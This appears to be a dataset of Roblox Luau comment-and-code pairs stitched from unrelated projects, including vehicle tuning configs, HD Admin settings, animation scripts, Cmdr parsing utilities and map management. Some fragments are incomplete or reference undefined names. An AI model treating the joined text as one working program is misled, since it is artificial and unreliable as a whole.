--[=[ @function equalObjects @within Sift @param ... ...table -- The tables to compare. @return boolean -- Whether or not the tables are equal. Compares two or more tables to see if they are equal. ```lua local a = { hello = "world" } local b = { hello = "world" } local equal = EqualObjects(a, b) -- true ``` ]=]
local function equalObjects(...: _T.Table): boolean local firstItem = select(1, ...) for i = 2, select("#", ...) do if firstItem ~= select(i, ...) then return false end end return true end return equalObjects
--[[Weight and CG]]
Tune.Weight = 3500 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- I didn't make this. Credits to the original creator.
local cam = workspace.CurrentCamera local camPart = workspace.Menu.MenuFace local mouse = game:GetService("Players").LocalPlayer:GetMouse() repeat wait() cam.CameraType = Enum.CameraType.Scriptable until cam.CameraType == Enum.CameraType.Scriptable local maxTilt = 10 game:GetService("RunService").RenderStepped:Connect(function() cam.CFrame = camPart.CFrame * CFrame.Angles( math.rad((((mouse.Y - mouse.ViewSizeY / 2) / mouse.ViewSizeY)) * -maxTilt), math.rad((((mouse.X - mouse.ViewSizeX / 2) / mouse.ViewSizeX)) * -maxTilt), 0 ) end)
--------------| SYSTEM SETTINGS |--------------
Prefix = "/"; -- The character you use before every command (e.g. ';jump me'). SplitKey = " "; -- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me'). BatchKey = ""; -- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me' QualifierBatchKey = ","; -- The character used to split up qualifiers (e.g. ;jump player1,player2,player3) Theme = "Blue"; -- The default UI theme. NoticeSoundId = 2865227271; -- The SoundId for notices. NoticeVolume = 0.1; -- The Volume for notices. NoticePitch = 1; -- The Pitch/PlaybackSpeed for notices. ErrorSoundId = 2865228021; -- The SoundId for error notifications. ErrorVolume = 0.1; -- The Volume for error notifications. ErrorPitch = 1; -- The Pitch/PlaybackSpeed for error notifications. AlertSoundId = 9161622880; -- The SoundId for alerts. AlertVolume = 0.5; -- The Volume for alerts. AlertPitch = 1; -- The Pitch/PlaybackSpeed for alerts. WelcomeBadgeId = 0; -- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge. CommandDebounce = true; -- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable. SaveRank = true; -- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable. LoopCommands = 3; -- The minimum rank required to use LoopCommands. MusicList = {}; -- Songs which automatically appear in a user's radio. Type '!radio' to display the radio. ThemeColors = { -- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value}; {"Red", Color3.fromRGB(150, 0, 0), }; {"Orange", Color3.fromRGB(150, 75, 0), }; {"Brown", Color3.fromRGB(120, 80, 30), }; {"Yellow", Color3.fromRGB(130, 120, 0), }; {"Green", Color3.fromRGB(0, 120, 0), }; {"Blue", Color3.fromRGB(0, 100, 150), }; {"Purple", Color3.fromRGB(100, 0, 150), }; {"Pink", Color3.fromRGB(150, 0, 100), }; {"Black", Color3.fromRGB(60, 60, 60), }; }; Colors = { -- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value}; {"r", "Red", Color3.fromRGB(255, 0, 0) }; {"o", "Orange", Color3.fromRGB(250, 100, 0) }; {"y", "Yellow", Color3.fromRGB(255, 255, 0) }; {"g", "Green" , Color3.fromRGB(0, 255, 0) }; {"dg", "DarkGreen" , Color3.fromRGB(0, 125, 0) }; {"b", "Blue", Color3.fromRGB(0, 255, 255) }; {"db", "DarkBlue", Color3.fromRGB(0, 50, 255) }; {"p", "Purple", Color3.fromRGB(150, 0, 255) }; {"pk", "Pink", Color3.fromRGB(255, 85, 185) }; {"bk", "Black", Color3.fromRGB(0, 0, 0) }; {"w", "White", Color3.fromRGB(255, 255, 255) }; }; ChatColors = { -- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow. [5] = "Yellow"; }; Cmdbar = 1; -- The minimum rank required to use the Cmdbar. Cmdbar2 = 3; -- The minimum rank required to use the Cmdbar2. ViewBanland = 3; -- The minimum rank required to view the banland. OnlyShowUsableCommands = false; -- Only display commands equal to or below the user's rank on the Commands page. RankRequiredToViewPage = { -- || The pages on the main menu || ["Commands"] = 0; ["Admin"] = 0; ["Settings"] = 0; }; RankRequiredToViewRank = { -- || The rank categories on the 'Ranks' subPage under Admin || ["Owner"] = 0; ["HeadAdmin"] = 0; ["Admin"] = 0; ["Mod"] = 0; ["VIP"] = 0; }; RankRequiredToViewRankType = { -- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin || ["Owner"] = 0; ["SpecificUsers"] = 5; ["Gamepasses"] = 0; ["Assets"] = 0; ["Groups"] = 0; ["Friends"] = 0; ["FreeAdmin"] = 0; ["VipServerOwner"] = 0; }; RankRequiredToViewIcon = 0; WelcomeRankNotice = true; -- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable. WelcomeDonorNotice = true; -- The 'You're a Donor' notice that appears when you join the game. Set to false to disable. WarnIncorrectPrefix = true; -- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!" DisableAllNotices = false; -- Set to true to disable all HD Admin notices. ScaleLimit = 4; -- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked. IgnoreScaleLimit = 3; -- Any ranks equal or above this value will ignore 'ScaleLimit' CommandLimits = { -- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit. ["fly"] = { Limit = 10000; IgnoreLimit = 3; }; ["fly2"] = { Limit = 10000; IgnoreLimit = 3; }; ["noclip"] = { Limit = 10000; IgnoreLimit = 3; }; ["noclip2"] = { Limit = 10000; IgnoreLimit = 3; }; ["speed"] = { Limit = 10000; IgnoreLimit = 3; }; ["jumpPower"] = { Limit = 10000; IgnoreLimit = 3; }; }; VIPServerCommandBlacklist = {"permRank", "permBan", "globalAnnouncement"}; -- Commands players are probihited from using in VIP Servers. GearBlacklist = {67798397}; -- The IDs of gear items to block when using the ;gear command. IgnoreGearBlacklist = 4; -- The minimum rank required to ignore the gear blacklist. PlayerDataStoreVersion = "V1.0"; -- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData. SystemDataStoreVersion = "V1.0"; -- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData. CoreNotices = { -- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices] --NoticeName = NoticeDetails; };
--script:WaitForChild('FootstepSounds').Parent = sounds
local materials = script.Parent:WaitForChild('FootstepSounds') local plr = script.Parent repeat wait() until plr local char = plr local hum = char.Humanoid local hrp = hum.RootPart local walking hum.Running:connect(function(speed) if speed > hum.WalkSpeed/2 then walking = true else walking = false end end) function getMaterial() local floormat = hum.FloorMaterial if not floormat then floormat = 'Air' end local matstring = string.split(tostring(floormat),'Enum.Material.')[2] local material = matstring return material end local lastmat runtime.Heartbeat:connect(function() if walking then local material = getMaterial() if material ~= lastmat and lastmat ~= nil then materials[lastmat].Playing = false end local materialSound = materials[material] materialSound.PlaybackSpeed = hum.WalkSpeed/12 materialSound.Playing = true lastmat = material else for _,sound in pairs(materials:GetChildren()) do sound.Playing = false end end end)
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.31 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 2.8 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.98 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.61 , --[[ 3 ]] 1.9 , --[[ 4 ]] 1.48 , --[[ 5 ]] 1.16 , --[[ 6 ]] 0.99 , --[[ 7 ]] 0.84 , } Tune.FDMult = 1 -- -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--Obj
local Camera = workspace.CurrentCamera local CurrentHumanoid = nil
--[=[ @param interval number @return Timer Creates a new timer. ]=]
function Timer.new(interval: number) assert(type(interval) == "number", "Argument #1 to Timer.new must be a number; got " .. type(interval)) assert(interval >= 0, "Argument #1 to Timer.new must be greater or equal to 0; got " .. tostring(interval)) local self = setmetatable({}, Timer) self._runHandle = nil self.Interval = interval self.UpdateSignal = RunService.Heartbeat self.TimeFunction = time self.AllowDrift = true self.Tick = Signal.new() return self end
--NOTE: Keys must be lowercase, values must evaluate to true
Explode = Instance.new("Part") Explode.formFactor = "Custom" Explode.Size = Vector3.new(0,0,0) Explode.Anchored = true Explode.CanCollide = false Explode.TopSurface = 0 Explode.BottomSurface = 0 Explode.BrickColor = BrickColor.new("Deep orange") Mesh = Instance.new("SpecialMesh",Explode) Mesh.MeshType = "Brick" function raycast(spos,vec,currentdist) local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(spos+(vec*.01),vec*currentdist),script.Parent) return hit2,pos2 end
------------------------------------------------------------------------ -- parse the arguments (parameters) of a function declaration -- * used in body() ------------------------------------------------------------------------
function luaY:parlist(ls) -- parlist -> [ param { ',' param } ] local fs = ls.fs local f = fs.f local nparams = 0 f.is_vararg = 0 if ls.t.token ~= ")" then -- is 'parlist' not empty? repeat local c = ls.t.token if c == "TK_NAME" then -- param -> NAME self:new_localvar(ls, self:str_checkname(ls), nparams) nparams = nparams + 1 elseif c == "TK_DOTS" then -- param -> `...' luaX:next(ls)
--[[ BaseCharacterController - Abstract base class for character controllers, not intended to be directly instantiated. 2018 PlayerScripts Update - AllYourBlox --]]
local ZERO_VECTOR3: Vector3 = Vector3.new(0,0,0)
--[[Front]]
-- Tune.FTireProfile = 1 -- Tire profile, aggressive or smooth Tune.FProfileHeight = .4 -- Profile height, conforming to tire Tune.FTireCompound = 0.5 -- The more compounds you have, the harder your tire will get towards the middle, sacrificing grip for wear Tune.FTireFriction = 1.8 -- Your tire's friction in the best conditions.
---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil local runService = game:GetService("RunService") local input = game:GetService("UserInputService") local players = game:GetService("Players") CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.F;} -- lets you move your mouse around in firstperson CanViewBody = true -- whether you see your body Sensitivity = 0.2 -- anything higher would make looking up and down harder; recommend anything between 0~1 Smoothness = 0.05 -- recommend anything between 0~1 FieldOfView = 180 -- fov local cam = game.Workspace.CurrentCamera local player = players.LocalPlayer local m = player:GetMouse() m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon local character = player.Character or player.CharacterAdded:wait() local humanoidpart = character.HumanoidRootPart local head = character:WaitForChild("Head") local CamPos,TargetCamPos = cam.CoordinateFrame.p,cam.CoordinateFrame.p local AngleX,TargetAngleX = 0,0 local AngleY,TargetAngleY = 0,0 local running = true local freemouse = false
--[=[ Creates a new function which will return an observable that, given the props in question, will construct a new instance and assign all props. This is the equivalent of a pipe-able Rx command. ```lua Blend.New "ScreenGui" { Parent = game.Players.LocalPlayer.PlayerGui; [Blend.Children] = { Blend.New "Frame" { Size = UDim2.new(1, 0, 1, 0); BackgroundTransparency = 0.5; }; }; }; @param className string @return (props: { [string]: any; }) -> Observable<Instance> ``` ]=]
function Blend.New(className) assert(type(className) == "string", "Bad className") local defaults = BlendDefaultProps[className] return function(props) return Observable.new(function(sub) local maid = Maid.new() local instance = Instance.new(className) maid:GiveTask(instance) if defaults then for key, value in pairs(defaults) do instance[key] = value end end maid:GiveTask(Blend.mount(instance, props)) sub:Fire(instance) return maid end) end end
-- Public Functions
function GameManager:Initialize() MapManager:SaveMap() end function GameManager:RunIntermission() IntermissionRunning = true TimeManager:StartTimer(Configurations.MainGameConfig["Intermission Duration"]) DisplayManager:StartIntermission() EnoughPlayers = Players.NumPlayers >= Configurations.MainGameConfig["Minimum Players"] DisplayManager:UpdateTimerInfo(true, not EnoughPlayers) spawn(function() repeat if EnoughPlayers and Players.NumPlayers < Configurations.MainGameConfig["Minimum Players"] then EnoughPlayers = false elseif not EnoughPlayers and Players.NumPlayers >= Configurations.MainGameConfig["Minimum Players"] then EnoughPlayers = true end DisplayManager:UpdateTimerInfo(true, not EnoughPlayers) task.wait(.5) until IntermissionRunning == false end) task.wait(Configurations.MainGameConfig["Intermission Duration"]) IntermissionRunning = false end function GameManager:StopIntermission() --IntermissionRunning = false DisplayManager:UpdateTimerInfo(false, false) DisplayManager:StopIntermission() end function GameManager:GameReady() return Players.NumPlayers >= Configurations.MainGameConfig["Minimum Players"] end function GameManager:StartRound() TeamManager:ClearTeamScores() PlayerManager:AllowPlayerSpawn(true) PlayerManager:LoadPlayers() GameRunning = true PlayerManager:SetGameRunning(true) TimeManager:StartTimer(Configurations.MainGameConfig["Round Duration"]) end function GameManager:Update() --TODO: Add custom custom game code here end function GameManager:RoundOver() local winningTeam = TeamManager:HasTeamWon() if winningTeam then DisplayManager:DisplayVictory(winningTeam) return true end if TimeManager:TimerDone() then if TeamManager:AreTeamsTied() then DisplayManager:DisplayVictory('Tie') else winningTeam = TeamManager:GetWinningTeam() DisplayManager:DisplayVictory(winningTeam) end return true end return false end function GameManager:RoundCleanup() PlayerManager:SetGameRunning(false) task.wait(Configurations.MainGameConfig["End Game Wait"]) PlayerManager:AllowPlayerSpawn(false) PlayerManager:DestroyPlayers() DisplayManager:DisplayVictory(nil) TeamManager:ClearTeamScores() TeamManager:ShuffleTeams() MapManager:ClearMap() MapManager:LoadMap() end
--Below u see the keys table.. to modyfy the key u press change the letter between the ""
local keys = { spdup={code = "m"}; spddwn={code = "n"}; start={code = "y"}; stop={code = "x"}; light={code="a"}; dwn={code="j"}; up={code="u"}; camset={code="c"}; minigun= "t"; missile= "f"; }
--[=[ Constructs a new CancelToken that cancels whenever the maid does. @param maid Maid @return CancelToken ]=]
function CancelToken.fromMaid(maid) local token = CancelToken.new(EMPTY_FUNCTION) local taskId = maid:GiveTask(function() token:_cancel() end) token.PromiseCancelled:Then(function() maid[taskId] = nil end) return token end
--// Variables
local L_1_ = game.Players.LocalPlayer local L_2_ = L_1_.Character local L_3_ = game.ReplicatedStorage:WaitForChild('ACS_Engine') local L_5_ = L_3_:WaitForChild('GameRules') local L_7_ = L_3_:WaitForChild('HUD')
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:Disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end -- clean up walk if there is one if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:Disconnect() end if (runAnimTrack ~= nil) then runAnimTrack:Stop() runAnimTrack:Destroy() runAnimTrack = nil end return oldAnim end function getHeightScale() if Humanoid then local bodyHeightScale = Humanoid:FindFirstChild("BodyHeightScale") if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then return bodyHeightScale.Value end end return 1 end local smallButNotZero = 0.0001 function setRunSpeed(speed) if speed < 0.33 then currentAnimTrack:AdjustWeight(1.0) runAnimTrack:AdjustWeight(smallButNotZero) elseif speed < 0.66 then local weight = ((speed - 0.33) / 0.33) currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero) runAnimTrack:AdjustWeight(weight + smallButNotZero) else currentAnimTrack:AdjustWeight(smallButNotZero) runAnimTrack:AdjustWeight(1.0) end local speedScaled = speed * 1.25 local heightScale = getHeightScale() runAnimTrack:AdjustSpeed(speedScaled / heightScale) currentAnimTrack:AdjustSpeed(speedScaled / heightScale) end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed if currentAnim == "walk" then setRunSpeed(speed) else currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end end function keyFrameReachedFunc(frameName) if (frameName == "End") then if currentAnim == "walk" then runAnimTrack.TimePosition = 0.0 currentAnimTrack.TimePosition = 0.0 else local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.15, Humanoid) setAnimationSpeed(animSpeed) end end end function rollAnimation(animName) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end return idx end function playAnimation(animName, transitionTime, humanoid) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end if (runAnimTrack ~= nil) then runAnimTrack:Stop(transitionTime) runAnimTrack:Destroy() end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) currentAnimTrack.Priority = Enum.AnimationPriority.Core -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:Disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:Connect(keyFrameReachedFunc) -- check to see if we need to blend a walk/run animation if animName == "walk" then local runAnimName = "run" local runIdx = rollAnimation(runAnimName) runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim) runAnimTrack.Priority = Enum.AnimationPriority.Core runAnimTrack:Play(transitionTime) if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:Disconnect() end runAnimKeyframeHandler = runAnimTrack.KeyframeReached:Connect(keyFrameReachedFunc) end end end
--CHANGE THIS LINE-- (Turn)
Turn = script.Parent.Parent.Parent.ControlBox.TurnValues.TurnSignal1 -- Change last word
-- VisualComponents by Travis, modified for native visuals.
for i,v in pairs(script.Setup:GetChildren()) do v.Parent = game:GetService("StarterGui") end script.UsualOpenVideo.Parent = game:GetService("ServerScriptService") script:Destroy()
--//Client Animations
IdleAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms) end; StanceDown = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() end; StanceUp = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() end; Patrol = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() end; SprintAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() end; EquipAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.1) objs[5].Handle:WaitForChild("AimUp"):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.5) end; ZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play() wait(0.3) end; UnZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play() wait(0.3) end; ChamberAnim = function(char, speed, objs) end; ChamberBKAnim = function(char, speed, objs) end; CheckAnim = function(char, speed, objs) end; ShellInsertAnim = function(char, speed, objs) end; ReloadAnim = function(char, speed, objs) end;
-- Clone map upon game start. This is what will be loaded and unloaded -- Destroy original after cloning
map = mapContainer:FindFirstChild(MAP_NAME) local cachedMap = map:Clone() function MapManager.loadMap() if map then print("Current map must be unloaded before loading a new map. Returning current map.") return map end map = cachedMap:Clone() map.Parent = mapContainer -- Parent it to the map container map.Name = MAP_NAME -- Rename the map so that we can use the unloadMap() function later to remove it. return map -- Return the map we selected, in case we want to display its info. end function MapManager.unloadMap() if map then map:Destroy() map = false -- Easier to handle than nil end end function MapManager.reloadMap() if map then print("Removing current map before reloading") map:Destroy() end map = cachedMap:Clone() map.Parent = mapContainer -- Parent it to the map container map.Name = MAP_NAME -- Rename the map so that we can use the unloadMap() function later to remove it. return map -- Return the map we selected, in case we want to display its info. end function MapManager.getMap() return map end function MapManager.getSpawnLocations() if map then return map:FindFirstChild("SpawnLocations") end return false end return MapManager
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onSwimming(speed) if userAnimateScaleRun then speed /= getHeightScale() end if speed > 1.00 then local scale = 10.0 playAnimation("swim", 0.4, Humanoid) setAnimationSpeed(speed / scale) pose = "Swimming" else playAnimation("swimidle", 0.4, Humanoid) pose = "Standing" end end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action) return end end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end local lastTick = 0 function stepAnimate(currentTime) local amplitude = 1 local frequency = 1 local deltaTime = currentTime - lastTick lastTick = currentTime local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then playAnimation("walk", 0.2, Humanoid) updateVelocity(currentTime) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end -- Tool Animation handling local tool = Character:FindFirstChildOfClass("Tool") if tool and tool:FindFirstChild("Handle") then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = currentTime + .3 end if currentTime > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
--- Parses escape sequences into their fully qualified characters
function Util.ParseEscapeSequences(text) return text:gsub("\\(.)", { t = "\t"; n = "\n"; }) :gsub("\\u(%x%x%x%x)", charCode) :gsub("\\x(%x%x)", charCode) end function Util.EncodeEscapedOperator(text, op) local first = op:sub(1, 1) local escapedOp = op:gsub(".", "%%%1") local escapedFirst = "%" .. first return text:gsub("(" .. escapedFirst .. "+)(" .. escapedOp .. ")", function(esc, op) return (esc:sub(1, #esc-1) .. op):gsub(".", function(char) return "\\u" .. string.format("%04x", string.byte(char), 16) end) end) end local OPERATORS = {"&&", "||", ";"} function Util.EncodeEscapedOperators(text) for _, operator in ipairs(OPERATORS) do text = Util.EncodeEscapedOperator(text, operator) end return text end local function encodeControlChars(text) return ( text :gsub("\\\\", "___!CMDR_ESCAPE!___") :gsub("\\\"", "___!CMDR_QUOTE!___") :gsub("\\'", "___!CMDR_SQUOTE!___") :gsub("\\\n", "___!CMDR_NL!___") ) end local function decodeControlChars(text) return ( text :gsub("___!CMDR_ESCAPE!___", "\\") :gsub("___!CMDR_QUOTE!___", "\"") :gsub("___!CMDR_NL!___", "\n") ) end
--[[** ensures value is a number where min < value < max @param min The minimum to use @param max The maximum to use @returns A function that will return true iff the condition is passed **--]]
function t.numberConstrainedExclusive(min, max) assert(t.number(min)) assert(t.number(max)) local minCheck = t.numberMinExclusive(min) local maxCheck = t.numberMaxExclusive(max) return function(value) local minSuccess = minCheck(value) if not minSuccess then return false end local maxSuccess = maxCheck(value) if not maxSuccess then return false end return true end end
-- Libraries
local Libraries = Tool:WaitForChild 'Libraries' local Maid = require(Libraries:WaitForChild 'Maid') local PaintHistoryRecord = require(script:WaitForChild 'PaintHistoryRecord') local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger')) local Roact = require(Vendor:WaitForChild('Roact')) local ColorPicker = require(UI:WaitForChild('ColorPicker'))